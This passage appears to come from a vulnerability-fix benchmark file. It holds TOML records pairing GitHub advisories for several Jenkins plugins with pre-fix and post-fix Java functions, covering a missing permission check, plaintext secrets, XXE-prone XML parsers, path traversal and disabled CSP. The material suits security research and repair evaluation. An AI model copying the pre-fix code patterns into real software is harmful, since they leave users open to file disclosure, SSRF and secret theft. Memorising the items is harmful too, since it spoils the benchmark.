+post_fix = "\tpublic void doEvent(StaplerRequest req) throws ServletException, IOException {\n\n\t\tcheckPermission(Item.BUILD);\n\n\t\t// exit early if no json\n\t\tString contentType = req.getContentType();\n\t\tif (contentType == null || !contentType.startsWith(\"application/json\")) {\n\t\t\treturn;\n\t\t}\n\n\t\tString body = IOUtils.toString(req.getInputStream(), Charset.forName(\"UTF-8\"));\n\t\tif (body.startsWith(\"payload=\")) {\n\t\t\tbody = body.substring(8);\n\t\t}\n\t\tJSONObject payload = JSONObject.fromObject(body);\n\n\t\tString typeString = payload.getString(ReviewProp.EVENT_TYPE.getProp());\n\t\tSCMEvent.Type eventType = SCMEvent.Type.valueOf(typeString);\n\n\t\tSCMHeadEvent.fireNow(new P4BranchSCMHeadEvent(eventType, payload, SCMEvent.originOf(req)));\n\t}\n\n\t@POST"
+pre_fix = "\tpublic void doEvent(StaplerRequest req) throws ServletException, IOException {\n\n\t\t// exit early if no json\n\t\tString contentType = req.getContentType();\n\t\tif (contentType == null || !contentType.startsWith(\"application/json\")) {\n\t\t\treturn;\n\t\t}\n\n\t\tString body = IOUtils.toString(req.getInputStream(), Charset.forName(\"UTF-8\"));\n\t\tif (body.startsWith(\"payload=\")) {\n\t\t\tbody = body.substring(8);\n\t\t}\n\t\tJSONObject payload = JSONObject.fromObject(body);\n\n\t\tString typeString = payload.getString(ReviewProp.EVENT_TYPE.getProp());\n\t\tSCMEvent.Type eventType = SCMEvent.Type.valueOf(typeString);\n\n\t\tSCMHeadEvent.fireNow(new P4BranchSCMHeadEvent(eventType, payload, SCMEvent.originOf(req)));\n\t}\n"
+repo = "jenkinsci/p4-plugin"
+url = "https://github.com/jenkinsci/p4-plugin.git"
+
+[[case]]
+advisory = "GHSA-wphq-j78p-fhgp"
+advisory_text = "Secret stored in plain text by Jenkins Parameterized Remote Trigger Plugin\n\nParameterized Remote Trigger Plugin 3.1.3 and earlier stores a secret unencrypted in its global configuration file `org.jenkinsci.plugins.ParameterizedRemoteTrigger.RemoteBuildConfiguration.xml` on the Jenkins controller as part of its configuration. This secret can be viewed by attackers with access to the Jenkins controller file system.\n\nParameterized Remote Trigger Plugin 3.1.4 stores the secret encrypted once its configuration is saved again."
+commit = "2902ef5ea6eb077f43fd25c880e4920faea4e828"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "auth2ToAuth"
+function_lines = [[157, 179]]
+id = "jenkinsci-parameterized-remote-trigger-plugin-113227759c983f0a"
+language = "java"
+method = "fix_site"
+parent = "85fdcbfa03e32d2c741c79e7a59270cd19ec742b"
+path = "src/main/java/org/jenkinsci/plugins/ParameterizedRemoteTrigger/Auth.java"
+post_fix = " public static Auth auth2ToAuth(Auth2 auth) {\n if (auth == null)\n return null;\n if (auth instanceof NoneAuth) {\n return new Auth(Auth.NONE, null, null, null);\n } else if (auth instanceof TokenAuth) {\n TokenAuth tokenAuth = (TokenAuth) auth;\n return new Auth(Auth.API_TOKEN, tokenAuth.getUserName(), tokenAuth.getApiToken().getPlainText(), null);\n } else if (auth instanceof CredentialsAuth) {\n CredentialsAuth credAuth = (CredentialsAuth) auth;\n try {\n String credUser = credAuth.getUserName(null);\n String credPass = credAuth.getPassword(null);\n return new Auth(Auth.CREDENTIALS_PLUGIN, credUser, credPass, credAuth.getCredentials());\n }\n catch (CredentialsNotFoundException e) {\n return new Auth(Auth.CREDENTIALS_PLUGIN, \"\", \"\", credAuth.getCredentials());\n }\n } else {\n return null;\n }\n }\n"
+pre_fix = " public static Auth auth2ToAuth(Auth2 auth) {\n if (auth == null)\n return null;\n if (auth instanceof NoneAuth) {\n return new Auth(Auth.NONE, null, null, null);\n } else if (auth instanceof TokenAuth) {\n TokenAuth tokenAuth = (TokenAuth) auth;\n return new Auth(Auth.API_TOKEN, tokenAuth.getUserName(), tokenAuth.getApiToken(), null);\n } else if (auth instanceof CredentialsAuth) {\n CredentialsAuth credAuth = (CredentialsAuth) auth;\n try {\n String credUser = credAuth.getUserName(null);\n String credPass = credAuth.getPassword(null);\n return new Auth(Auth.CREDENTIALS_PLUGIN, credUser, credPass, credAuth.getCredentials());\n }\n catch (CredentialsNotFoundException e) {\n return new Auth(Auth.CREDENTIALS_PLUGIN, \"\", \"\", credAuth.getCredentials());\n }\n } else {\n return null;\n }\n }\n"
+repo = "jenkinsci/parameterized-remote-trigger-plugin"
+url = "https://github.com/jenkinsci/parameterized-remote-trigger-plugin.git"
+
+[[case]]
+advisory = "GHSA-wphq-j78p-fhgp"
+advisory_text = "Secret stored in plain text by Jenkins Parameterized Remote Trigger Plugin\n\nParameterized Remote Trigger Plugin 3.1.3 and earlier stores a secret unencrypted in its global configuration file `org.jenkinsci.plugins.ParameterizedRemoteTrigger.RemoteBuildConfiguration.xml` on the Jenkins controller as part of its configuration. This secret can be viewed by attackers with access to the Jenkins controller file system.\n\nParameterized Remote Trigger Plugin 3.1.4 stores the secret encrypted once its configuration is saved again."
+commit = "2902ef5ea6eb077f43fd25c880e4920faea4e828"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "getApiToken"
+function_lines = [[47, 51]]
+id = "jenkinsci-parameterized-remote-trigger-plugin-1361f56765dbad32"
+language = "java"
+method = "fix_site"
+parent = "85fdcbfa03e32d2c741c79e7a59270cd19ec742b"
+path = "src/main/java/org/jenkinsci/plugins/ParameterizedRemoteTrigger/auth2/TokenAuth.java"
+post_fix = " public Secret getApiToken() {\n return this.apiToken;\n }\n\n @Override"
+pre_fix = " public String getApiToken() {\n return this.apiToken;\n }\n\n @Override"
+repo = "jenkinsci/parameterized-remote-trigger-plugin"
+url = "https://github.com/jenkinsci/parameterized-remote-trigger-plugin.git"
+
+[[case]]
+advisory = "GHSA-wphq-j78p-fhgp"
+advisory_text = "Secret stored in plain text by Jenkins Parameterized Remote Trigger Plugin\n\nParameterized Remote Trigger Plugin 3.1.3 and earlier stores a secret unencrypted in its global configuration file `org.jenkinsci.plugins.ParameterizedRemoteTrigger.RemoteBuildConfiguration.xml` on the Jenkins controller as part of its configuration. This secret can be viewed by attackers with access to the Jenkins controller file system.\n\nParameterized Remote Trigger Plugin 3.1.4 stores the secret encrypted once its configuration is saved again."
+commit = "2902ef5ea6eb077f43fd25c880e4920faea4e828"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "setApiToken"
+function_lines = [[43, 46]]
+id = "jenkinsci-parameterized-remote-trigger-plugin-5b7b011daea8e88e"
+language = "java"
+method = "fix_site"
+parent = "85fdcbfa03e32d2c741c79e7a59270cd19ec742b"
+path = "src/main/java/org/jenkinsci/plugins/ParameterizedRemoteTrigger/auth2/TokenAuth.java"
+post_fix = " public void setApiToken(Secret apiToken) {\n this.apiToken = apiToken;\n }\n"
+pre_fix = " public void setApiToken(String apiToken) {\n this.apiToken = apiToken;\n }\n"
+repo = "jenkinsci/parameterized-remote-trigger-plugin"
+url = "https://github.com/jenkinsci/parameterized-remote-trigger-plugin.git"
+
+[[case]]
+advisory = "GHSA-wphq-j78p-fhgp"
+advisory_text = "Secret stored in plain text by Jenkins Parameterized Remote Trigger Plugin\n\nParameterized Remote Trigger Plugin 3.1.3 and earlier stores a secret unencrypted in its global configuration file `org.jenkinsci.plugins.ParameterizedRemoteTrigger.RemoteBuildConfiguration.xml` on the Jenkins controller as part of its configuration. This secret can be viewed by attackers with access to the Jenkins controller file system.\n\nParameterized Remote Trigger Plugin 3.1.4 stores the secret encrypted once its configuration is saved again."
+commit = "2902ef5ea6eb077f43fd25c880e4920faea4e828"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "setAuthorizationHeader"
+function_lines = [[52, 57]]
+id = "jenkinsci-parameterized-remote-trigger-plugin-f066bf7b2ae56763"
+language = "java"
+method = "fix_site"
+parent = "85fdcbfa03e32d2c741c79e7a59270cd19ec742b"
+path = "src/main/java/org/jenkinsci/plugins/ParameterizedRemoteTrigger/auth2/TokenAuth.java"
+post_fix = " public void setAuthorizationHeader(URLConnection connection, BuildContext context) throws IOException {\n String authHeaderValue = Base64Utils.generateAuthorizationHeaderValue(AUTHTYPE_BASIC, getUserName(), getApiToken().getPlainText(), context, true);\n connection.setRequestProperty(\"Authorization\", authHeaderValue);\n }\n\n @Override"
+pre_fix = " public void setAuthorizationHeader(URLConnection connection, BuildContext context) throws IOException {\n String authHeaderValue = Base64Utils.generateAuthorizationHeaderValue(AUTHTYPE_BASIC, getUserName(), getApiToken(), context, true);\n connection.setRequestProperty(\"Authorization\", authHeaderValue);\n }\n\n @Override"
+repo = "jenkinsci/parameterized-remote-trigger-plugin"
+url = "https://github.com/jenkinsci/parameterized-remote-trigger-plugin.git"
+
+[[case]]
+advisory = "GHSA-6755-jgp4-8q7h"
+advisory_text = "XML External Entity processing vulnerability in Pipeline Maven Integration Jenkins Plugin\n\nAn XML external entities (XXE) vulnerability in Jenkins Pipeline Maven Integration Plugin 1.7.0 and earlier allowed attackers able to control a temporary directory's content on the agent running the Maven build to have Jenkins parse a maliciously crafted XML file that uses external entities for extraction of secrets from the Jenkins master, server-side request forgery, or denial-of-service attacks."
+commit = "e7cb858852c05d2423e3fd9922a090982dcd6392"
+cwe = "CWE-611"
+family = "untrusted_destination"
+function = "listGeneratedArtifacts"
+function_lines = [[436, 513]]
+id = "jenkinsci-pipeline-maven-plugin-f7e9c244b67b36a6"
+language = "java"
+method = "fix_site"
+parent = "638997f88bf3d60ef606410ce9f43dc93781e099"
+path = "jenkins-plugin/src/main/java/org/jenkinsci/plugins/pipeline/maven/util/XmlUtils.java"
+post_fix = " public static List listGeneratedArtifacts(Element mavenSpyLogs, boolean includeAttachedArtifacts) {\n\n List artifactDeployedEvents = XmlUtils.getArtifactDeployedEvents(mavenSpyLogs);\n\n List result = new ArrayList<>();\n\n for (Element projectSucceededElt : XmlUtils.getExecutionEvents(mavenSpyLogs, \"ProjectSucceeded\")) {\n\n Element projectElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"project\");\n MavenArtifact projectArtifact = XmlUtils.newMavenArtifact(projectElt);\n MavenArtifact pomArtifact = new MavenArtifact();\n pomArtifact.setGroupId(projectArtifact.getGroupId());\n pomArtifact.setArtifactId(projectArtifact.getArtifactId());\n pomArtifact.setBaseVersion(projectArtifact.getBaseVersion());\n pomArtifact.setVersion(projectArtifact.getVersion());\n pomArtifact.setSnapshot(projectArtifact.isSnapshot());\n pomArtifact.setType(\"pom\");\n pomArtifact.setExtension(\"pom\");\n pomArtifact.setFile(projectElt.getAttribute(\"file\"));\n\n result.add(pomArtifact);\n\n Element artifactElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"artifact\");\n MavenArtifact mavenArtifact = XmlUtils.newMavenArtifact(artifactElt);\n if (\"pom\".equals(mavenArtifact.getType())) {\n // No file is generated in a \"pom\" type project, don't add the pom file itself\n // TODO: evaluate if we really want to skip this file - cyrille le clerc 2018-04-12\n } else {\n Element fileElt = XmlUtils.getUniqueChildElementOrNull(artifactElt, \"file\");\n if (fileElt == null || fileElt.getTextContent() == null || fileElt.getTextContent().isEmpty()) {\n if (LOGGER.isLoggable(Level.FINER)) {\n LOGGER.log(Level.FINE, \"listGeneratedArtifacts: Project \" + projectArtifact + \": no associated file found for \" +\n mavenArtifact + \" in \" + XmlUtils.toString(artifactElt));\n }\n } else {\n mavenArtifact.setFile(StringUtils.trim(fileElt.getTextContent()));\n\n Element artifactDeployedEvent = XmlUtils.getArtifactDeployedEvent(artifactDeployedEvents, mavenArtifact.getFile());\n if(artifactDeployedEvent == null) {\n // artifact has not been deployed (\"mvn deploy\")\n } else {\n mavenArtifact.setRepositoryUrl(XmlUtils.getUniqueChildElement(artifactDeployedEvent, \"repository\").getAttribute(\"url\"));\n }\n }\n result.add(mavenArtifact);\n }\n\n if (includeAttachedArtifacts) {\n Element attachedArtifactsParentElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"attachedArtifacts\");\n List attachedArtifactsElts = XmlUtils.getChildrenElements(attachedArtifactsParentElt, \"artifact\");\n for (Element attachedArtifactElt : attachedArtifactsElts) {\n MavenArtifact attachedMavenArtifact = XmlUtils.newMavenArtifact(attachedArtifactElt);\n\n Element fileElt = XmlUtils.getUniqueChildElementOrNull(attachedArtifactElt, \"file\");\n if (fileElt == null || fileElt.getTextContent() == null || fileElt.getTextContent().isEmpty()) {\n if (LOGGER.isLoggable(Level.FINER)) {\n LOGGER.log(Level.FINER, \"Project \" + projectArtifact + \", no associated file found for attached artifact \" +\n attachedMavenArtifact + \" in \" + XmlUtils.toString(attachedArtifactElt));\n }\n } else {\n attachedMavenArtifact.setFile(StringUtils.trim(fileElt.getTextContent()));\n\n Element attachedArtifactDeployedEvent = XmlUtils.getArtifactDeployedEvent(artifactDeployedEvents, attachedMavenArtifact.getFile());\n if(attachedArtifactDeployedEvent == null) {\n // artifact has not been deployed (\"mvn deploy\")\n } else {\n attachedMavenArtifact.setRepositoryUrl(XmlUtils.getUniqueChildElement(attachedArtifactDeployedEvent, \"repository\").getAttribute(\"url\"));\n }\n\n }\n result.add(attachedMavenArtifact);\n }\n }\n }\n\n return result;\n }\n\n /**\n * Copy {@link jenkins.util.xml.RestrictiveEntityResolver} as it is secured by {@link org.kohsuke.accmod.restrictions.NoExternalUse}.\n *\n * @see jenkins.util.xml.RestrictiveEntityResolver\n */\n public final static class RestrictiveEntityResolver implements EntityResolver {\n\n public final static RestrictiveEntityResolver INSTANCE = new RestrictiveEntityResolver();\n"
+pre_fix = " public static List listGeneratedArtifacts(Element mavenSpyLogs, boolean includeAttachedArtifacts) {\n\n List artifactDeployedEvents = XmlUtils.getArtifactDeployedEvents(mavenSpyLogs);\n\n List result = new ArrayList<>();\n\n for (Element projectSucceededElt : XmlUtils.getExecutionEvents(mavenSpyLogs, \"ProjectSucceeded\")) {\n\n Element projectElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"project\");\n MavenArtifact projectArtifact = XmlUtils.newMavenArtifact(projectElt);\n MavenArtifact pomArtifact = new MavenArtifact();\n pomArtifact.setGroupId(projectArtifact.getGroupId());\n pomArtifact.setArtifactId(projectArtifact.getArtifactId());\n pomArtifact.setBaseVersion(projectArtifact.getBaseVersion());\n pomArtifact.setVersion(projectArtifact.getVersion());\n pomArtifact.setSnapshot(projectArtifact.isSnapshot());\n pomArtifact.setType(\"pom\");\n pomArtifact.setExtension(\"pom\");\n pomArtifact.setFile(projectElt.getAttribute(\"file\"));\n\n result.add(pomArtifact);\n\n Element artifactElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"artifact\");\n MavenArtifact mavenArtifact = XmlUtils.newMavenArtifact(artifactElt);\n if (\"pom\".equals(mavenArtifact.getType())) {\n // No file is generated in a \"pom\" type project, don't add the pom file itself\n // TODO: evaluate if we really want to skip this file - cyrille le clerc 2018-04-12\n } else {\n Element fileElt = XmlUtils.getUniqueChildElementOrNull(artifactElt, \"file\");\n if (fileElt == null || fileElt.getTextContent() == null || fileElt.getTextContent().isEmpty()) {\n if (LOGGER.isLoggable(Level.FINER)) {\n LOGGER.log(Level.FINE, \"listGeneratedArtifacts: Project \" + projectArtifact + \": no associated file found for \" +\n mavenArtifact + \" in \" + XmlUtils.toString(artifactElt));\n }\n } else {\n mavenArtifact.setFile(StringUtils.trim(fileElt.getTextContent()));\n\n Element artifactDeployedEvent = XmlUtils.getArtifactDeployedEvent(artifactDeployedEvents, mavenArtifact.getFile());\n if(artifactDeployedEvent == null) {\n // artifact has not been deployed (\"mvn deploy\")\n } else {\n mavenArtifact.setRepositoryUrl(XmlUtils.getUniqueChildElement(artifactDeployedEvent, \"repository\").getAttribute(\"url\"));\n }\n }\n result.add(mavenArtifact);\n }\n\n if (includeAttachedArtifacts) {\n Element attachedArtifactsParentElt = XmlUtils.getUniqueChildElement(projectSucceededElt, \"attachedArtifacts\");\n List attachedArtifactsElts = XmlUtils.getChildrenElements(attachedArtifactsParentElt, \"artifact\");\n for (Element attachedArtifactElt : attachedArtifactsElts) {\n MavenArtifact attachedMavenArtifact = XmlUtils.newMavenArtifact(attachedArtifactElt);\n\n Element fileElt = XmlUtils.getUniqueChildElementOrNull(attachedArtifactElt, \"file\");\n if (fileElt == null || fileElt.getTextContent() == null || fileElt.getTextContent().isEmpty()) {\n if (LOGGER.isLoggable(Level.FINER)) {\n LOGGER.log(Level.FINER, \"Project \" + projectArtifact + \", no associated file found for attached artifact \" +\n attachedMavenArtifact + \" in \" + XmlUtils.toString(attachedArtifactElt));\n }\n } else {\n attachedMavenArtifact.setFile(StringUtils.trim(fileElt.getTextContent()));\n\n Element attachedArtifactDeployedEvent = XmlUtils.getArtifactDeployedEvent(artifactDeployedEvents, attachedMavenArtifact.getFile());\n if(attachedArtifactDeployedEvent == null) {\n // artifact has not been deployed (\"mvn deploy\")\n } else {\n attachedMavenArtifact.setRepositoryUrl(XmlUtils.getUniqueChildElement(attachedArtifactDeployedEvent, \"repository\").getAttribute(\"url\"));\n }\n\n }\n result.add(attachedMavenArtifact);\n }\n }\n }\n\n return result;\n }\n}"
+repo = "jenkinsci/pipeline-maven-plugin"
+url = "https://github.com/jenkinsci/pipeline-maven-plugin.git"
+
+[[case]]
+advisory = "GHSA-hxxp-6546-wv6r"
+advisory_text = "XXE vulnerability in Jenkins Selenium HTML report Plugin\n\nJenkins Selenium HTML report Plugin 1.0 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.\n\nThis allows attackers with the ability to control the report files parsed using this plugin to have Jenkins parse a crafted report file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.\n\nJenkins Selenium HTML report Plugin 1.1 disables external entity resolution for its XML parser."
+commit = "5ca59b8c7d23af4450dc7f19c1b4107d59063ae1"
+cwe = "CWE-611"
+family = "untrusted_destination"
+function = "parseFor"
+function_lines = [[115, 136]]
+id = "jenkinsci-seleniumhtmlreport-plugin-596bcea5f710622a"
+language = "java"
+method = "fix_site"
+parent = "af33e82d5e2cc0707b23c56791f011b389d2bc1b"
+path = "src/main/java/org/jvnet/hudson/plugins/seleniumhtmlreport/TestResult.java"
+post_fix = " protected String parseFor(final String infoName) throws ParserConfigurationException, SAXException, IOException {\n SAXParserFactory factory = SAXParserFactory.newInstance();\n factory.setValidating(false);\n factory.setNamespaceAware(false);\n factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n\n SAXParser saxParser = factory.newSAXParser();\n ReadInfoHandler riHandler = new ReadInfoHandler(infoName);\n try {\n saxParser.parse(this.reportFile, riHandler);\n } catch (BreakParsingException e) {\n // break parsing\n }\n return riHandler.getInfo();\n }\n }\n\n private static class ReadInfoHandler extends DefaultHandler {\n private final String infoName;\n private String tempVal;\n private boolean readInfo = false;\n private String info;\n"
+pre_fix = " protected String parseFor(final String infoName) throws ParserConfigurationException, SAXException, IOException {\n SAXParserFactory factory = SAXParserFactory.newInstance();\n factory.setValidating(false);\n factory.setNamespaceAware(false);\n\n SAXParser saxParser = factory.newSAXParser();\n ReadInfoHandler riHandler = new ReadInfoHandler(infoName);\n try {\n saxParser.parse(this.reportFile, riHandler);\n } catch (BreakParsingException e) {\n // break parsing\n }\n return riHandler.getInfo();\n }\n }\n\n private static class ReadInfoHandler extends DefaultHandler {\n private final String infoName;\n private String tempVal;\n private boolean readInfo = false;\n private String info;\n"
+repo = "jenkinsci/seleniumhtmlreport-plugin"
+url = "https://github.com/jenkinsci/seleniumhtmlreport-plugin.git"
+
+[[case]]
+advisory = "GHSA-h8p8-6378-649p"
+advisory_text = "XML external entity reference vulnerability on agents in Jenkins Semantic Versioning Plugin\n\nJenkins Semantic Versioning Plugin 1.14 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks."
+commit = "8df2fabd7d7396ae29c374914d1357744d3e454f"
+cwe = "CWE-611"
+family = "untrusted_destination"
+function = "invoke"
+function_lines = [[92, 116]]
+id = "jenkinsci-semantic-versioning-plugin-7a6f61fea77b9da3"
+language = "java"
+method = "fix_site"
+parent = "c67a89822f86a7d10498ea2783b833052b719086"
+path = "src/main/java/org/jenkinsci/plugins/SemanticVersioning/parsing/PomParser.java"
+post_fix = "\t\t\t\tpublic Document invoke(File pom, VirtualChannel channel)\n\t\t\t\t\t\tthrows IOException, InterruptedException {\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tDocumentBuilderFactory df = DocumentBuilderFactory.newInstance();\n\t\t\t\t\t\tdf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n\t\t\t\t\t\tdf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\");\n\t\t\t\t\t\tDocumentBuilder documentBuilder = df.newDocumentBuilder();\n\t\t\t\t\t\treturn documentBuilder.parse(pom);\n\n\t\t\t\t\t} catch (SAXException | ParserConfigurationException e) {\n\t\t\t\t\t\tthrow new InterruptedException(pom\n\t\t\t\t\t\t\t\t.getAbsolutePath()\n\t\t\t\t\t\t\t\t+ \" is not a valid POM file.\");\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t});\n\t\t} catch (InterruptedException e) {\n\t\t\tthrow new InvalidBuildFileFormatException(e.getMessage());\n\t\t}\n\n\t\treturn pomDocument;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")"
+pre_fix = "\t\t\t\tpublic Document invoke(File pom, VirtualChannel channel)\n\t\t\t\t\t\tthrows IOException, InterruptedException {\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tDocumentBuilder documentBuilder;\n\t\t\t\t\t\tdocumentBuilder = DocumentBuilderFactory.newInstance()\n\t\t\t\t\t\t\t\t.newDocumentBuilder();\n\t\t\t\t\t\treturn documentBuilder.parse(pom);\n\n\t\t\t\t\t} catch (SAXException | ParserConfigurationException e) {\n\t\t\t\t\t\tthrow new InterruptedException(pom\n\t\t\t\t\t\t\t\t.getAbsolutePath()\n\t\t\t\t\t\t\t\t+ \" is not a valid POM file.\");\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t});\n\t\t} catch (InterruptedException e) {\n\t\t\tthrow new InvalidBuildFileFormatException(e.getMessage());\n\t\t}\n\n\t\treturn pomDocument;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")"
+repo = "jenkinsci/semantic-versioning-plugin"
+url = "https://github.com/jenkinsci/semantic-versioning-plugin.git"
+
+[[case]]
+advisory = "GHSA-24jc-w55j-5p83"
+advisory_text = "Jenkins TAP Plugin allows Path Traversal\n\nDirectory traversal vulnerability in the TAP plugin before 1.25 in Jenkins allows remote attackers to read arbitrary files via an unspecified parameter."
+commit = "8e2a3aa86ce57a98c69e6038e15ae8fe47d08124"
+cwe = "CWE-22"
+family = "path"
+function = "doDownloadAttachment"
+function_lines = [[306, 345]]
+id = "jenkinsci-tap-plugin-b1954cc1fc64febe"
+language = "java"
+method = "fix_site"
+parent = "a98a85c961ef983fb2935aa2987587acc2e11e8e"
+path = "src/main/java/org/tap4j/plugin/TapResult.java"
+post_fix = " public void doDownloadAttachment(StaplerRequest request, StaplerResponse response) {\n String f = request.getParameter(\"f\");\n String key = request.getParameter(\"key\");\n try {\n FilePath parent = new FilePath(new File(build.getRootDir(), Constants.TAP_DIR_NAME));\n FilePath tapDir = parent.child(TestObject.safe(f));\n ServletOutputStream sos = response.getOutputStream();\n if(tapDir.exists()) {\n String tapStream = tapDir.readToString();\n TapConsumer consumer = TapConsumerFactory.makeTap13YamlConsumer();\n TestSet ts = consumer.load(tapStream);\n \n TapAttachment attachment = getAttachment(ts, key);\n if(attachment != null) {\n response.setContentType(\"application/force-download\");\n //response.setContentLength((int)tapDir.length());\n response.setContentLength(attachment.getSize());\n response.setHeader(\"Content-Transfer-Encoding\", \"binary\");\n response.setHeader(\"Content-Disposition\",\"attachment; filename=\\\"\" + attachment.getFileName() + \"\\\"\");//fileName);\n \n sos.write(attachment.getContent());\n sos.print('\\n');\n } else {\n sos.println(\"Couldn't locate attachment in YAMLish: \" + f);\n }\n } else {\n sos.println(\"Couldn't read FilePath.\");\n }\n } catch (IOException e) {\n e.printStackTrace();\n } catch (InterruptedException e) {\n e.printStackTrace();\n } finally {\n }\n }\n\n /**\n * @param ts\n * @param key\n * @return\n */"
+pre_fix = " public void doDownloadAttachment(StaplerRequest request, StaplerResponse response) {\n String f = request.getParameter(\"f\");\n String key = request.getParameter(\"key\");\n try {\n FilePath tapDir = new FilePath(new FilePath(new File(build.getRootDir(), Constants.TAP_DIR_NAME)), f);\n ServletOutputStream sos = response.getOutputStream();\n if(tapDir.exists()) {\n String tapStream = tapDir.readToString();\n TapConsumer consumer = TapConsumerFactory.makeTap13YamlConsumer();\n TestSet ts = consumer.load(tapStream);\n \n TapAttachment attachment = getAttachment(ts, key);\n if(attachment != null) {\n response.setContentType(\"application/force-download\");\n //response.setContentLength((int)tapDir.length());\n response.setContentLength(attachment.getSize());\n response.setHeader(\"Content-Transfer-Encoding\", \"binary\");\n response.setHeader(\"Content-Disposition\",\"attachment; filename=\\\"\" + attachment.getFileName() + \"\\\"\");//fileName);\n \n sos.write(attachment.getContent());\n sos.print('\\n');\n } else {\n sos.println(\"Couldn't locate attachment in YAMLish: \" + f);\n }\n } else {\n sos.println(\"Couldn't read FilePath.\");\n }\n } catch (IOException e) {\n e.printStackTrace();\n } catch (InterruptedException e) {\n e.printStackTrace();\n } finally {\n }\n }\n\n /**\n * @param ts\n * @param key\n * @return\n */"
+repo = "jenkinsci/tap-plugin"
+url = "https://github.com/jenkinsci/tap-plugin.git"
+
+[[case]]
+advisory = "GHSA-4c87-9xq5-5c35"
+advisory_text = "Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin\n\nJenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts.\n\nZAP Pipeline Plugin prior to 1.10 globally disables the `Content-Security-Policy` header for static files served by Jenkins. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/upgrade-guide/2.204/#resource-domain-support) configured are largely unaffected. A possible exception are file parameter downloads. The behavior of those depends on the specific version of Jenkins:\n- Jenkins 2.231 and newer, including 2.235.x LTS, is unaffected, as all resource files from user content are generally served safely from a different domain, without restrictions from `Content-Security-Policy` header.\n- Jenkins between 2.228 (inclusive) and 2.230 (inclusive), as well as all releases of Jenkins 2.222.x LTS and the 2.204.6 LTS release, are affected by this vulnerability, as file parameters are not served via the Resource Root URL.\n- Jenkins 2.227 and older, 2.204.5 and older, don’t have XSS protection for file parameter values, see [SECURITY-1793](https://www.jenkins.io/security/advisory/2020-03-25/#SECURITY-1793)."
+commit = "bca4b087c66ead39398f54cdadc27c515e8ede31"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "saveFalsePositives"
+function_lines = [[187, 213]]
+id = "jenkinsci-zap-pipeline-plugin-22b29c9f11c9c050"
+language = "java"
+method = "fix_site"
+parent = "5fc703a3c383eb515909cf0b9dc452ccc38f07d9"
+path = "src/main/java/com/vrondakis/zap/ZapArchive.java"
+post_fix = " private void saveFalsePositives(String falsePositivesFilePath, FilePath workspace, @Nonnull TaskListener taskListener,\n File savePath) {\n try {\n if (workspace != null) {\n FilePath[] falsePositivesFiles = workspace.list(falsePositivesFilePath);\n if (falsePositivesFiles.length > 0) {\n if (falsePositivesFiles.length > 1) {\n taskListener.getLogger()\n .println(\"zap: More than one file matched the provided false positives file path. Using: '\"\n + falsePositivesFiles[0].getName() + \"'.\");\n }\n\n FilePath saveAsFile = new FilePath(new File(savePath.toString() + \"/\" + FALSE_POSITIVES_FILENAME));\n falsePositivesFiles[0].copyTo(saveAsFile);\n }\n\n } else {\n taskListener.getLogger().println(\n \"zap: Failed to access workspace for false positives file, it may be on a non-connected slave. False positives will not be suppressed.\");\n }\n } catch (IOException | InterruptedException e) {\n e.printStackTrace();\n taskListener.getLogger()\n .println(\"zap: Failed to do archive false positives file. False positives will not be suppressed\");\n }\n }"
+pre_fix = " private void saveFalsePositives(String falsePositivesFilePath, File workspace, @Nonnull TaskListener taskListener,\n File savePath) {\n try {\n if (workspace != null) {\n FilePath[] falsePositivesFiles = new FilePath(workspace).list(falsePositivesFilePath);\n if (falsePositivesFiles.length > 0) {\n if (falsePositivesFiles.length > 1) {\n taskListener.getLogger()\n .println(\"zap: More than one file matched the provided false positives file path. Using: '\"\n + falsePositivesFiles[0].getName() + \"'.\");\n }\n\n FilePath saveAsFile = new FilePath(new File(savePath.toString() + \"/\" + FALSE_POSITIVES_FILENAME));\n falsePositivesFiles[0].copyTo(saveAsFile);\n\n }\n\n } else {\n taskListener.getLogger().println(\n \"zap: Failed to access workspace for false positives file, it may be on a non-connected slave. False positives will not be suppressed.\");\n }\n } catch (IOException | InterruptedException e) {\n e.printStackTrace();\n taskListener.getLogger()\n .println(\"zap: Failed to do archive false positives file. False positives will not be suppressed\");\n }\n }"
+repo = "jenkinsci/zap-pipeline-plugin"
+url = "https://github.com/jenkinsci/zap-pipeline-plugin.git"
+
+[[case]]
+advisory = "GHSA-4c87-9xq5-5c35"
